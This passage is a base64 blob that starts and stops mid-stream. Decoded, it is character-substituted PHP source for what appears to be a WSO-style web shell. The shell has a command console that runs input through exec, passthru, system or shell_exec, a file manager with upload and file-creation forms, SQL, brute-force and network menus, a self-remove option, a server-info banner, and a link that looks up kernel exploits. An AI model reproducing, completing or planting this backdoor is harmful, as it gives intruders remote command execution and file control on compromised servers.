zMmw0ZCAjdXV1O3AxZGQ0bmc6aXB4O20xcmc0bjowOzJ2NXJmbDJ3OiAxM3QyOyB9DQouYjRnMXI1MXsgdzRkdGg6NjAwJTtoNTRnaHQ6YWkwcHg7IH0NCjRucDN0LHQ1eHQxcjUxLHM1bDVjdHsgbTFyZzRuOjA7YzJsMnI6I2ZmZjtiMWNrZ3IyM25kLWMybDJyOiMwMDAwMDA7YjJyZDVyOjZweCBzMmw0ZCAkYzJsMnI7IGYybnQ6IDlwdCBNMm4yc3AxYzUsJ0MyM3I0NXIgTjV3JzsgfQ0KZjJybXsgbTFyZzRuOjBweDsgfQ0KI3QyMmxzVGJseyB0NXh0LTFsNGduOmM1bnQ1cjsgfQ0KLnQyMmxzSW5weyB3NGR0aDogbzAwcHggfQ0KLm0xNG4gdGh7dDV4dC0xbDRnbjpsNWZ0O2IxY2tncjIzbmQtYzJsMnI6I2k1aTVpNTt9DQoubTE0biB0cjpoMnY1cntiMWNrZ3IyM25kLWMybDJyOiMwMDAwMDA7fQ0KLmw2e2IxY2tncjIzbmQtYzJsMnI6I3V1dX0NCi5sYXtiMWNrZ3IyM25kLWMybDJyOiNvb299DQpwcjV7ZjJudC1mMW00bHk6QzIzcjQ1cixNMm4yc3AxYzU7fQ0KPC9zdHlsNT4NCjxzY3I0cHQ+DQogICAgdjFyIGNfID0gJyIgLiBodG1sc3A1YzQxbGNoMXJzKCRHTE9CQUxTWydjd2QnXSkgLiAiJzsNCiAgICB2MXIgMV8gPSAnIiAuIGh0bWxzcDVjNDFsY2gxcnMoQCRfUE9TVFsnMSddKSAuIicNCiAgICB2MXIgY2gxcnM1dF8gPSAnIiAuIGh0bWxzcDVjNDFsY2gxcnMoQCRfUE9TVFsnY2gxcnM1dCddKSAuIic7DQogICAgdjFyIHA2XyA9ICciIC4gKChzdHJwMnMoQCRfUE9TVFsncDYnXSwiXG4iKSE9PWYxbHM1KT8nJzpodG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncDYnXSxFTlRfUVVPVEVTKSkgLiInOw0KICAgIHYxciBwYV8gPSAnIiAuICgoc3RycDJzKEAkX1BPU1RbJ3BhJ10sIlxuIikhPT1mMWxzNSk/Jyc6aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3BhJ10sRU5UX1FVT1RFUykpIC4iJzsNCiAgICB2MXIgcG9fID0gJyIgLiAoKHN0cnAycyhAJF9QT1NUWydwbyddLCJcbiIpIT09ZjFsczUpPycnOmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydwbyddLEVOVF9RVU9URVMpKSAuIic7DQogICAgdjFyIGQgPSBkMmMzbTVudDsNCglmM25jdDQybiBzNXQoMSxjLHA2LHBhLHBvLGNoMXJzNXQpIHsNCgkJNGYoMSE9bjNsbClkLm1mLjEudjFsMzU9MTs1bHM1IGQubWYuMS52MWwzNT0xXzsNCgkJNGYoYyE9bjNsbClkLm1mLmMudjFsMzU9Yzs1bHM1IGQubWYuYy52MWwzNT1jXzsNCgkJNGYocDYhPW4zbGwpZC5tZi5wNi52MWwzNT1wNjs1bHM1IGQubWYucDYudjFsMzU9cDZfOw0KCQk0ZihwYSE9bjNsbClkLm1mLnBhLnYxbDM1PXBhOzVsczUgZC5tZi5wYS52MWwzNT1wYV87DQoJCTRmKHBvIT1uM2xsKWQubWYucG8udjFsMzU9cG87NWxzNSBkLm1mLnBvLnYxbDM1PXBvXzsNCgkJNGYoY2gxcnM1dCE9bjNsbClkLm1mLmNoMXJzNXQudjFsMzU9Y2gxcnM1dDs1bHM1IGQubWYuY2gxcnM1dC52MWwzNT1jaDFyczV0XzsNCgl9DQoJZjNuY3Q0Mm4gZygxLGMscDYscGEscG8sY2gxcnM1dCkgew0KCQlzNXQoMSxjLHA2LHBhLHBvLGNoMXJzNXQpOw0KCQlkLm1mLnMzYm00dCgpOw0KCX0NCglmM25jdDQybiAxKDEsYyxwNixwYSxwbyxjaDFyczV0KSB7DQoJCXM1dCgxLGMscDYscGEscG8sY2gxcnM1dCk7DQoJCXYxciBwMXIxbXMgPSAnMWoxeD10cjM1JzsNCgkJZjJyKDQ9MDs0PGQubWYuNWw1bTVudHMubDVuZ3RoOzQrKykNCgkJCXAxcjFtcyArPSAnJicrZC5tZi41bDVtNW50c1s0XS5uMW01Kyc9Jys1bmMyZDVVUklDMm1wMm41bnQoZC5tZi41bDVtNW50c1s0XS52MWwzNSk7DQoJCXNyKCciIC4gMWRkc2wxc2g1cygkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSkgLiInLCBwMXIxbXMpOw0KCX0NCglmM25jdDQybiBzcigzcmwsIHAxcjFtcykgew0KCQk0ZiAodzRuZDJ3LlhNTEh0dHBSNXEzNXN0KQ0KCQkJcjVxID0gbjV3IFhNTEh0dHBSNXEzNXN0KCk7DQoJCTVsczUgNGYgKHc0bmQydy5BY3Q0djVYT2JqNWN0KQ0KCQkJcjVxID0gbjV3IEFjdDR2NVhPYmo1Y3QoJ000Y3IyczJmdC5YTUxIVFRQJyk7DQogICAgICAgIDRmIChyNXEpIHsNCiAgICAgICAgICAgIHI1cS4ybnI1MWR5c3QxdDVjaDFuZzUgPSBwcjJjNXNzUjVxQ2gxbmc1Ow0KICAgICAgICAgICAgcjVxLjJwNW4oJ1BPU1QnLCAzcmwsIHRyMzUpOw0KICAgICAgICAgICAgcjVxLnM1dFI1cTM1c3RINTFkNXIgKCdDMm50NW50LVR5cDUnLCAnMXBwbDRjMXQ0Mm4veC13d3ctZjJybS0zcmw1bmMyZDVkJyk7DQogICAgICAgICAgICByNXEuczVuZChwMXIxbXMpOw0KICAgICAgICB9DQoJfQ0KCWYzbmN0NDJuIHByMmM1c3NSNXFDaDFuZzUoKSB7DQoJCTRmKCAocjVxLnI1MWR5U3QxdDUgPT0gdSkgKQ0KCQkJNGYocjVxLnN0MXQzcyA9PSBhMDApIHsNCgkJCQl2MXIgcjVnID0gbjV3IFI1Z0V4cChcIihcXFxcZCspKFtcXFxcU1xcXFxzXSopXCIsICdtJyk7DQoJCQkJdjFyIDFycj1yNWcuNXg1YyhyNXEucjVzcDJuczVUNXh0KTsNCgkJCQk1djFsKDFyclthXS5zM2JzdHIoMCwgMXJyWzZdKSk7DQoJCQl9IDVsczUgMWw1cnQoJ1I1cTM1c3QgNXJyMnIhJyk7DQoJfQ0KPC9zY3I0cHQ+DQo8aDUxZD48YjJkeT48ZDR2IHN0eWw1PSdwMnM0dDQybjoxYnMybDN0NTt3NGR0aDo2MDAlO2IxY2tncjIzbmQtYzJsMnI6I3V1dTt0MnA6MDtsNWZ0OjA7Jz4NCjxmMnJtIG01dGgyZD1wMnN0IG4xbTU9bWYgc3R5bDU9J2Q0c3BsMXk6bjJuNTsnPg0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9MT4NCjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWM+DQo8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1wNj4NCjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PXBhPg0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9cG8+DQo8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jaDFyczV0Pg0KPC9mMnJtPiI7DQoJJGZyNTVTcDFjNSA9IEBkNHNrZnI1NXNwMWM1KCRHTE9CQUxTWydjd2QnXSk7DQoJJHQydDFsU3AxYzUgPSBAZDRza190MnQxbF9zcDFjNSgkR0xPQkFMU1snY3dkJ10pOw0KCSR0MnQxbFNwMWM1ID0gJHQydDFsU3AxYzU/JHQydDFsU3AxYzU6NjsNCgkkcjVsNTFzNSA9IEBwaHBfM24xbTUoJ3InKTsNCgkkazVybjVsID0gQHBocF8zbjFtNSgncycpOw0KCSQ1eHBsNG5rID0gJ2h0dHA6Ly81eHBsMjR0LWRiLmMybS9sNHN0LnBocD9kNXNjcjRwdDQybj0nOw0KCTRmKHN0cnAycygnTDRuM3gnLCAkazVybjVsKSAhPT0gZjFsczUpDQoJCSQ1eHBsNG5rIC49IDNybDVuYzJkNSgnTDRuM3ggSzVybjVsICcgLiBzM2JzdHIoJHI1bDUxczUsMCxlKSk7DQoJNWxzNQ0KCQkkNXhwbDRuayAuPSAzcmw1bmMyZDUoJGs1cm41bCAuICcgJyAuIHMzYnN0cigkcjVsNTFzNSwwLG8pKTsNCgk0ZighZjNuY3Q0Mm5fNXg0c3RzKCdwMnM0eF9nNXQ1ZzRkJykpIHsNCgkJJDNzNXIgPSBAZzV0X2MzcnI1bnRfM3M1cigpOw0KCQkkMzRkID0gQGc1dG15MzRkKCk7DQoJCSRnNGQgPSBAZzV0bXlnNGQoKTsNCgkJJGdyMjNwID0gIj8iOw0KCX0gNWxzNSB7DQoJCSQzNGQgPSBAcDJzNHhfZzV0cHczNGQocDJzNHhfZzV0NTM0ZCgpKTsNCgkJJGc0ZCA9IEBwMnM0eF9nNXRncmc0ZChwMnM0eF9nNXQ1ZzRkKCkpOw0KCQkkM3M1ciA9ICQzNGRbJ24xbTUnXTsNCgkJJDM0ZCA9ICQzNGRbJzM0ZCddOw0KCQkkZ3IyM3AgPSAkZzRkWyduMW01J107DQoJCSRnNGQgPSAkZzRkWydnNGQnXTsNCgl9DQoNCgkkY3dkX2w0bmtzID0gJyc7DQoJJHAxdGggPSA1eHBsMmQ1KCIvIiwgJEdMT0JBTFNbJ2N3ZCddKTsNCgkkbj1jMjNudCgkcDF0aCk7DQoJZjJyKCQ0PTA7ICQ0PCRuLTY7ICQ0KyspIHsNCgkJJGN3ZF9sNG5rcyAuPSAiPDEgaHI1Zj0nIycgMm5jbDRjaz0nZyhcIkY0bDVzTTFuXCIsXCIiOw0KCQlmMnIoJGo9MDsgJGo8PSQ0OyAkaisrKQ0KCQkJJGN3ZF9sNG5rcyAuPSAkcDF0aFskal0uJy8nOw0KCQkkY3dkX2w0bmtzIC49ICJcIiknPiIuJHAxdGhbJDRdLiIvPC8xPiI7DQoJfQ0KDQoJJGNoMXJzNXRzID0gMXJyMXkoJ1VURi04JywgJ1c0bmQyd3MtNmFpNicsICdLT0k4LVInLCAnS09JOC1VJywgJ2NwOGVlJyk7DQoJJDJwdF9jaDFyczV0cyA9ICcnOw0KCWYycjUxY2goJGNoMXJzNXRzIDFzICQ0dDVtKQ0KCQkkMnB0X2NoMXJzNXRzIC49ICc8MnB0NDJuIHYxbDM1PSInLiQ0dDVtLiciICcuKCRfUE9TVFsnY2gxcnM1dCddPT0kNHQ1bT8nczVsNWN0NWQnOicnKS4nPicuJDR0NW0uJzwvMnB0NDJuPic7DQoNCgkkbSA9IDFycjF5KCdTNWMuIEluZjInPT4nUzVjSW5mMicsJ0Y0bDVzJz0+J0Y0bDVzTTFuJywnQzJuczJsNSc9PidDMm5zMmw1JywnU3FsJz0+J1NxbCcsJ1BocCc9PidQaHAnLCdTMWY1IG0yZDUnPT4nUzFmNU0yZDUnLCdTdHI0bmcgdDIybHMnPT4nU3RyNG5nVDIybHMnLCdCcjN0NWYycmM1Jz0+J0JyM3Q1ZjJyYzUnLCdONXR3MnJrJz0+J041dHcycmsnKTsNCgk0ZighNW1wdHkoJEdMT0JBTFNbJzEzdGhfcDFzcyddKSkNCgkJJG1bJ0wyZzIzdCddID0gJ0wyZzIzdCc7DQoJJG1bJ1M1bGYgcjVtMnY1J10gPSAnUzVsZlI1bTJ2NSc7DQoJJG01bjMgPSAnJzsNCglmMnI1MWNoKCRtIDFzICRrID0+ICR2KQ0KCQkkbTVuMyAuPSAnPHRoIHc0ZHRoPSInLig0bnQpKDYwMC9jMjNudCgkbSkpLiclIj5bIDwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCcnLiR2LidcJyxuM2xsLFwnXCcsXCdcJyxcJ1wnKSI+Jy4kay4nPC8xPiBdPC90aD4nOw0KDQoJJGRyNHY1cyA9ICIiOw0KCTRmKCRHTE9CQUxTWycycyddID09ICd3NG4nKSB7DQoJCWYycjUxY2gocjFuZzUoJ2MnLCd6JykgMXMgJGRyNHY1KQ0KCQk0Zig0c19kNHIoJGRyNHY1Lic6XFwnKSkNCgkJCSRkcjR2NXMgLj0gJzwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c00xblwnLFwnJy4kZHI0djUuJzovXCcpIj5bICcuJGRyNHY1LicgXTwvMT4gJzsNCgl9DQoJNWNoMiAnPHQxYmw1IGNsMXNzPTRuZjIgYzVsbHAxZGQ0bmc9byBjNWxsc3AxYzRuZz0wIHc0ZHRoPTYwMCU+PHRyPjx0ZCB3NGR0aD02PjxzcDFuPjxmMm50IGMybDJyPSJyNWQiID5VbjFtNTo8YnI+VXM1cjo8YnI+UGhwOjxicj5IZGQ6PGJyPkN3ZDo8L2YybnQ+JyAuICgkR0xPQkFMU1snMnMnXSA9PSAndzRuJz8nPGJyPjxmMm50IGMybDJyPSJyNWQiID5EcjR2NXM6PC9mMm50Pic6JycpIC4gJzwvc3Axbj48L3RkPicNCiAgICAgICAuICc8dGQ+PG4yYnI+JyAuIHMzYnN0cihAcGhwXzNuMW01KCksIDAsIDZhMCkgLiAnIDwxIGhyNWY9IicgLiAkNXhwbDRuayAuICciIHQxcmc1dD1fYmwxbms+WzV4cGwyNHQtZGIuYzJtXTwvMT48L24yYnI+PGJyPicgLiAkMzRkIC4gJyAoICcgLiAkM3M1ciAuICcgKSA8c3Axbj48ZjJudCBjMmwycj0icjVkIiA+R3IyM3A6PC9mMm50Pjwvc3Axbj4gJyAuICRnNGQgLiAnICggJyAuICRncjIzcCAuICcgKTxicj4nIC4gQHBocHY1cnM0Mm4oKSAuICcgPHNwMW4+PGYybnQgYzJsMnI9InI1ZCIgPlMxZjUgbTJkNTo8L2YybnQ+PC9zcDFuPiAnIC4gKCRHTE9CQUxTWydzMWY1X20yZDUnXT8nPGYybnQgYzJsMnI9Z3I1NW4+T048L2YybnQ+JzonPGYybnQgYzJsMnI9IzAwYmIwMD48Yj5PRkY8L2I+PC9mMm50PicpDQogICAgICAgLiAnIDwxIGhyNWY9IyAybmNsNGNrPSJnKFwnUGhwXCcsbjNsbCxcJ1wnLFwnNG5mMlwnKSI+WyBwaHA0bmYyIF08LzE+IDxzcDFuPjxmMm50IGMybDJyPSJyNWQiID5EMXQ1dDRtNTo8L2YybnQ+PC9zcDFuPiAnIC4gZDF0NSgnWS1tLWQgSDo0OnMnKSAuICc8YnI+JyAuIHdzMlY0NXdTNHo1KCR0MnQxbFNwMWM1KSAuICcgPHNwMW4+PGYybnQgYzJsMnI9InI1ZCIgPkZyNTU6PC9mMm50Pjwvc3Axbj4gJyAuIHdzMlY0NXdTNHo1KCRmcjU1U3AxYzUpIC4gJyAoJy4gKDRudCkgKCRmcjU1U3AxYzUvJHQydDFsU3AxYzUqNjAwKSAuICclKTxicj4nIC4gJGN3ZF9sNG5rcyAuICcgJy4gd3MyUDVybXNDMmwycigkR0xPQkFMU1snY3dkJ10pIC4gJyA8MSBocjVmPSMgMm5jbDRjaz0iZyhcJ0Y0bDVzTTFuXCcsXCcnIC4gJEdMT0JBTFNbJ2gybTVfY3dkJ10gLiAnXCcsXCdcJyxcJ1wnLFwnXCcpIj5bIGgybTUgXTwvMT48YnI+JyAuICRkcjR2NXMgLiAnPC90ZD4nDQogICAgICAgLiAnPHRkIHc0ZHRoPTYgMWw0Z249cjRnaHQ+PG4yYnI+PHM1bDVjdCAybmNoMW5nNT0iZyhuM2xsLG4zbGwsbjNsbCxuM2xsLG4zbGwsdGg0cy52MWwzNSkiPjwycHRncjIzcCBsMWI1bD0iUDFnNSBjaDFyczV0Ij4nIC4gJDJwdF9jaDFyczV0cyAuICc8LzJwdGdyMjNwPjwvczVsNWN0Pjxicj48c3Axbj5TNXJ2NXIgSVA6PC9zcDFuPjxicj4nIC4gQCRfU0VSVkVSWyJTRVJWRVJfQUREUiJdIC4gJzxicj48c3Axbj5DbDQ1bnQgSVA6PC9zcDFuPjxicj4nIC4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gLiAnPC9uMmJyPjwvdGQ+PC90cj48L3QxYmw1PicNCiAgICAgICAuICc8dDFibDUgc3R5bDU9ImIycmQ1ci10MnA6YXB4IHMybDRkICNvb287IiBjNWxscDFkZDRuZz1vIGM1bGxzcDFjNG5nPTAgdzRkdGg9NjAwJT48dHI+JyAuICRtNW4zIC4gJzwvdHI+PC90MWJsNT48ZDR2IHN0eWw1PSJtMXJnNG46aSI+JzsNCn0NCg0KZjNuY3Q0Mm4gd3MyRjIydDVyKCkgew0KCSQ0c193cjR0MWJsNSA9IDRzX3dyNHQxYmw1KCRHTE9CQUxTWydjd2QnXSk/IiA8ZjJudCBjMmwycj0nI2FpZmYwMCc+KFdyNHQ1MWJsNSk8L2YybnQ+IjoiIDxmMm50IGMybDJyPXI1ZD4oTjJ0IHdyNHQxYmw1KTwvZjJudD4iOw0KICAgIDVjaDIgIg0KPC9kNHY+DQo8dDFibDUgY2wxc3M9NG5mMiA0ZD10MjJsc1RibCBjNWxscDFkZDRuZz1vIGM1bGxzcDFjNG5nPTAgdzRkdGg9NjAwJSAgc3R5bDU9J2IycmQ1ci10MnA6YXB4IHMybDRkICNvb287YjJyZDVyLWIydHQybTphcHggczJsNGQgI29vbzsnPg0KCTx0cj4NCgkJPHRkPjxmMnJtIDJuczNibTR0PSdnKG4zbGwsdGg0cy5jLnYxbDM1LFwiXCIpO3I1dDNybiBmMWxzNTsnPjxzcDFuPkNoMW5nNSBkNHI6PC9zcDFuPjxicj48NG5wM3QgY2wxc3M9J3QyMmxzSW5wJyB0eXA1PXQ1eHQgbjFtNT1jIHYxbDM1PSciIC4gaHRtbHNwNWM0MWxjaDFycygkR0xPQkFMU1snY3dkJ10pIC4iJz48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC90ZD4NCgkJPHRkPjxmMnJtIDJuczNibTR0PVwiZygnRjRsNXNUMjJscycsbjNsbCx0aDRzLmYudjFsMzUpO3I1dDNybiBmMWxzNTtcIj48c3Axbj5SNTFkIGY0bDU6PC9zcDFuPjxicj48NG5wM3QgY2wxc3M9J3QyMmxzSW5wJyB0eXA1PXQ1eHQgbjFtNT1mPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT48L3RkPg0KCTwvdHI+PHRyPg0KCQk8dGQ+PGYycm0gMm5zM2JtNHQ9XCJnKCdGNGw1c00xbicsbjNsbCwnbWtkNHInLHRoNHMuZC52MWwzNSk7cjV0M3JuIGYxbHM1O1wiPjxzcDFuPk0xazUgZDRyOjwvc3Axbj4kNHNfd3I0dDFibDU8YnI+PDRucDN0IGNsMXNzPSd0MjJsc0lucCcgdHlwNT10NXh0IG4xbTU9ZD48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC90ZD4NCgkJPHRkPjxmMnJtIDJuczNibTR0PVwiZygnRjRsNXNUMjJscycsbjNsbCx0aDRzLmYudjFsMzUsJ21rZjRsNScpO3I1dDNybiBmMWxzNTtcIj48c3Axbj5NMWs1IGY0bDU6PC9zcDFuPiQ0c193cjR0MWJsNTxicj48NG5wM3QgY2wxc3M9J3QyMmxzSW5wJyB0eXA1PXQ1eHQgbjFtNT1mPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT48L3RkPg0KCTwvdHI+PHRyPg0KCQk8dGQ+PGYycm0gMm5zM2JtNHQ9XCJnKCdDMm5zMmw1JyxuM2xsLHRoNHMuYy52MWwzNSk7cjV0M3JuIGYxbHM1O1wiPjxzcDFuPkV4NWMzdDU6PC9zcDFuPjxicj48NG5wM3QgY2wxc3M9J3QyMmxzSW5wJyB0eXA1PXQ1eHQgbjFtNT1jIHYxbDM1PScnPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT48L3RkPg0KCQk8dGQ+PGYycm0gbTV0aDJkPSdwMnN0JyBFTkNUWVBFPSdtM2x0NHAxcnQvZjJybS1kMXQxJz4NCgkJPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9MSB2MWwzNT0nRjRsNXNNQW4nPg0KCQk8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jIHYxbDM1PSciIC4gJEdMT0JBTFNbJ2N3ZCddIC4iJz4NCgkJPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9cDYgdjFsMzU9JzNwbDIxZEY0bDUnPg0KCQk8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jaDFyczV0IHYxbDM1PSciIC4gKDRzczV0KCRfUE9TVFsnY2gxcnM1dCddKT8kX1BPU1RbJ2NoMXJzNXQnXTonJykgLiAiJz4NCgkJPHNwMW4+VXBsMjFkIGY0bDU6PC9zcDFuPiQ0c193cjR0MWJsNTxicj48NG5wM3QgY2wxc3M9J3QyMmxzSW5wJyB0eXA1PWY0bDUgbjFtNT1mPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT48YnIgID48L3RkPg0KCTwvdHI+PC90MWJsNT48L2Q0dj48L2IyZHk+PC9odG1sPiI7DQp9DQoNCjRmICghZjNuY3Q0Mm5fNXg0c3RzKCJwMnM0eF9nNXRwdzM0ZCIpICYmIChzdHJwMnMoJEdMT0JBTFNbJ2Q0czFibDVfZjNuY3Q0Mm5zJ10sICdwMnM0eF9nNXRwdzM0ZCcpPT09ZjFsczUpKSB7DQogICAgZjNuY3Q0Mm4gcDJzNHhfZzV0cHczNGQoJHApIHtyNXQzcm4gZjFsczU7fSB9DQo0ZiAoIWYzbmN0NDJuXzV4NHN0cygicDJzNHhfZzV0Z3JnNGQiKSAmJiAoc3RycDJzKCRHTE9CQUxTWydkNHMxYmw1X2YzbmN0NDJucyddLCAncDJzNHhfZzV0Z3JnNGQnKT09PWYxbHM1KSkgew0KICAgIGYzbmN0NDJuIHAyczR4X2c1dGdyZzRkKCRwKSB7cjV0M3JuIGYxbHM1O30gfQ0KDQpmM25jdDQybiB3czJFeCgkNG4pIHsNCgkkMjN0ID0gJyc7DQoJNGYgKGYzbmN0NDJuXzV4NHN0cygnNXg1YycpKSB7DQoJCUA1eDVjKCQ0biwkMjN0KTsNCgkJJDIzdCA9IEBqMjRuKCJcbiIsJDIzdCk7DQoJfSA1bHM1NGYgKGYzbmN0NDJuXzV4NHN0cygncDFzc3RocjMnKSkgew0KCQkyYl9zdDFydCgpOw0KCQlAcDFzc3RocjMoJDRuKTsNCgkJJDIzdCA9IDJiX2c1dF9jbDUxbigpOw0KCX0gNWxzNTRmIChmM25jdDQybl81eDRzdHMoJ3N5c3Q1bScpKSB7DQoJCTJiX3N0MXJ0KCk7DQoJCUBzeXN0NW0oJDRuKTsNCgkJJDIzdCA9IDJiX2c1dF9jbDUxbigpOw0KCX0gNWxzNTRmIChmM25jdDQybl81eDRzdHMoJ3NoNWxsXzV4NWMnKSkgew0KCQkkMjN0ID0gc2g1bGxfNXg1YygkNG4pOw0KCX0gNWxzNTRmICg0c19yNXMyM3JjNSgkZiA9IEBwMnA1bigkNG4sInIiKSkpIHsNCgkJJDIzdCA9ICIiOw0KCQl3aDRsNSghQGY1MmYoJGYpKQ0KCQkJJDIzdCAuPSBmcjUxZCgkZiw2MGF1KTsNCgkJcGNsMnM1KCRmKTsNCgl9DQoJcjV0M3JuICQyM3Q7DQp9DQpmM25jdDQybiB3czJWNDV3UzR6NSgkcykgew0KCTRmKCRzID49IDYwN283dTY4YXUpDQoJCXI1dDNybiBzcHI0bnRmKCclNi5hZicsICRzIC8gNjA3bzd1NjhhdSApLiAnIEdCJzsNCgk1bHM1NGYoJHMgPj0gNjB1OGk3ZSkNCgkJcjV0M3JuIHNwcjRudGYoJyU2LmFmJywgJHMgLyA2MHU4aTdlICkgLiAnIE1CJzsNCgk1bHM1NGYoJHMgPj0gNjBhdSkNCgkJcjV0M3JuIHNwcjRudGYoJyU2LmFmJywgJHMgLyA2MGF1ICkgLiAnIEtCJzsNCgk1bHM1DQoJCXI1dDNybiAkcyAuICcgQic7DQp9DQoNCmYzbmN0NDJuIHdzMlA1cm1zKCRwKSB7DQoJNGYgKCgkcCAmIDB4QzAwMCkgPT0gMHhDMDAwKSQ0ID0gJ3MnOw0KCTVsczU0ZiAoKCRwICYgMHhBMDAwKSA9PSAweEEwMDApJDQgPSAnbCc7DQoJNWxzNTRmICgoJHAgJiAweDgwMDApID09IDB4ODAwMCkkNCA9ICctJzsNCgk1bHM1NGYgKCgkcCAmIDB4ZTAwMCkgPT0gMHhlMDAwKSQ0ID0gJ2InOw0KCTVsczU0ZiAoKCRwICYgMHh1MDAwKSA9PSAweHUwMDApJDQgPSAnZCc7DQoJNWxzNTRmICgoJHAgJiAweGEwMDApID09IDB4YTAwMCkkNCA9ICdjJzsNCgk1bHM1NGYgKCgkcCAmIDB4NjAwMCkgPT0gMHg2MDAwKSQ0ID0gJ3AnOw0KCTVsczUgJDQgPSAnMyc7DQoJJDQgLj0gKCgkcCAmIDB4MDYwMCkgPyAncicgOiAnLScpOw0KCSQ0IC49ICgoJHAgJiAweDAwODApID8gJ3cnIDogJy0nKTsNCgkkNCAuPSAoKCRwICYgMHgwMHUwKSA/ICgoJHAgJiAweDA4MDApID8gJ3MnIDogJ3gnICkgOiAoKCRwICYgMHgwODAwKSA/ICdTJyA6ICctJykpOw0KCSQ0IC49ICgoJHAgJiAweDAwYTApID8gJ3InIDogJy0nKTsNCgkkNCAuPSAoKCRwICYgMHgwMDYwKSA/ICd3JyA6ICctJyk7DQoJJDQgLj0gKCgkcCAmIDB4MDAwOCkgPyAoKCRwICYgMHgwdTAwKSA/ICdzJyA6ICd4JyApIDogKCgkcCAmIDB4MHUwMCkgPyAnUycgOiAnLScpKTsNCgkkNCAuPSAoKCRwICYgMHgwMDB1KSA/ICdyJyA6ICctJyk7DQoJJDQgLj0gKCgkcCAmIDB4MDAwYSkgPyAndycgOiAnLScpOw0KCSQ0IC49ICgoJHAgJiAweDAwMDYpID8gKCgkcCAmIDB4MGEwMCkgPyAndCcgOiAneCcgKSA6ICgoJHAgJiAweDBhMDApID8gJ1QnIDogJy0nKSk7DQoJcjV0M3JuICQ0Ow0KfQ0KDQpmM25jdDQybiB3czJQNXJtc0MybDJyKCRmKSB7DQoJNGYgKCFANHNfcjUxZDFibDUoJGYpKQ0KCQlyNXQzcm4gJzxmMm50IGMybDJyPSNGRjAwMDA+JyAuIHdzMlA1cm1zKEBmNGw1cDVybXMoJGYpKSAuICc8L2YybnQ+JzsNCgk1bHM1NGYgKCFANHNfd3I0dDFibDUoJGYpKQ0KCQlyNXQzcm4gJzxmMm50IGMybDJyPXdoNHQ1PicgLiB3czJQNXJtcyhAZjRsNXA1cm1zKCRmKSkgLiAnPC9mMm50Pic7DQoJNWxzNQ0KCQlyNXQzcm4gJzxmMm50IGMybDJyPSNhaWZmMDA+JyAuIHdzMlA1cm1zKEBmNGw1cDVybXMoJGYpKSAuICc8L2YybnQ+JzsNCn0NCg0KNGYoIWYzbmN0NDJuXzV4NHN0cygic2MxbmQ0ciIpKSB7DQoJZjNuY3Q0Mm4gc2MxbmQ0cigkZDRyKSB7DQoJCSRkaCAgPSAycDVuZDRyKCRkNHIpOw0KCQl3aDRsNSAoZjFsczUgIT09ICgkZjRsNW4xbTUgPSByNTFkZDRyKCRkaCkpKQ0KICAgIAkJJGY0bDVzW10gPSAkZjRsNW4xbTU7DQoJCXI1dDNybiAkZjRsNXM7DQoJfQ0KfQ0KDQpmM25jdDQybiB3czJXaDRjaCgkcCkgew0KCSRwMXRoID0gd3MyRXgoJ3doNGNoICcgLiAkcCk7DQoJNGYoITVtcHR5KCRwMXRoKSkNCgkJcjV0M3JuICRwMXRoOw0KCXI1dDNybiBmMWxzNTsNCn0NCg0KZjNuY3Q0Mm4gMWN0NDJuUzVjSW5mMigpIHsNCgl3czJINTFkNXIoKTsNCgk1Y2gyICc8aDY+UzVydjVyIHM1YzNyNHR5IDRuZjJybTF0NDJuPC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+JzsNCglmM25jdDQybiB3czJTNWNQMXIxbSgkbiwgJHYpIHsNCgkJJHYgPSB0cjRtKCR2KTsNCgkJNGYoJHYpIHsNCgkJCTVjaDIgJzxzcDFuPicgLiAkbiAuICc6IDwvc3Axbj4nOw0KCQkJNGYoc3RycDJzKCR2LCAiXG4iKSA9PT0gZjFsczUpDQoJCQkJNWNoMiAkdiAuICc8YnI+JzsNCgkJCTVsczUNCgkJCQk1Y2gyICc8cHI1IGNsMXNzPW1sNj4nIC4gJHYgLiAnPC9wcjU+JzsNCgkJfQ0KCX0NCg0KCXdzMlM1Y1AxcjFtKCdTNXJ2NXIgczJmdHcxcjUnLCBAZzV0NW52KCdTRVJWRVJfU09GVFdBUkUnKSk7DQogICAgNGYoZjNuY3Q0Mm5fNXg0c3RzKCcxcDFjaDVfZzV0X20yZDNsNXMnKSkNCiAgICAgICAgd3MyUzVjUDFyMW0oJ0wyMWQ1ZCBBcDFjaDUgbTJkM2w1cycsIDRtcGwyZDUoJywgJywgMXAxY2g1X2c1dF9tMmQzbDVzKCkpKTsNCgl3czJTNWNQMXIxbSgnRDRzMWJsNWQgUEhQIEYzbmN0NDJucycsICRHTE9CQUxTWydkNHMxYmw1X2YzbmN0NDJucyddPyRHTE9CQUxTWydkNHMxYmw1X2YzbmN0NDJucyddOiduMm41Jyk7DQoJd3MyUzVjUDFyMW0oJ09wNW4gYjFzNSBkNHInLCBANG40X2c1dCgnMnA1bl9iMXM1ZDRyJykpOw0KCXdzMlM1Y1AxcjFtKCdTMWY1IG0yZDUgNXg1YyBkNHInLCBANG40X2c1dCgnczFmNV9tMmQ1XzV4NWNfZDRyJykpOw